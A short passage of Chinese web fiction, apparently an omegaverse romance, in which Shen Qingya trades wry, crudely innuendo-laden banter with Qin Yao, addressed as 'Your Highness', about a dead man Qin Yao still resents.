沈清崖只能干笑,重复那句:“呵呵,斯人已矣,您别想太多。” 秦曜没回话,闭上了双眼靠在沙发上。 沈清崖便也随着他沉默,任由空气中原本浓郁的两股信息素气息都渐渐随着愈凉的长夜淡下去。 许久,久到沈清崖都快靠在一边睡着了,秦曜忽然说话了。 “你说,如果我也死了,是不是就能下去搞死他了?” “……”沈清崖一个激灵清醒过来,“……殿下,他已经死了,您不能再杀死他一次了。” “谁说要杀他了?”秦曜轻飘飘道,“我是要搞他——搞,就是干,就是日,我要草/死他,懂了么?” “……咳,殿下,别动不动死啊死的,身体要紧。” 秦曜翻了个身,不理他了。 沈清崖也挺不想理他的。 这个狗,到底是有多恨他啊? 这是做鬼都不打算放过他啊。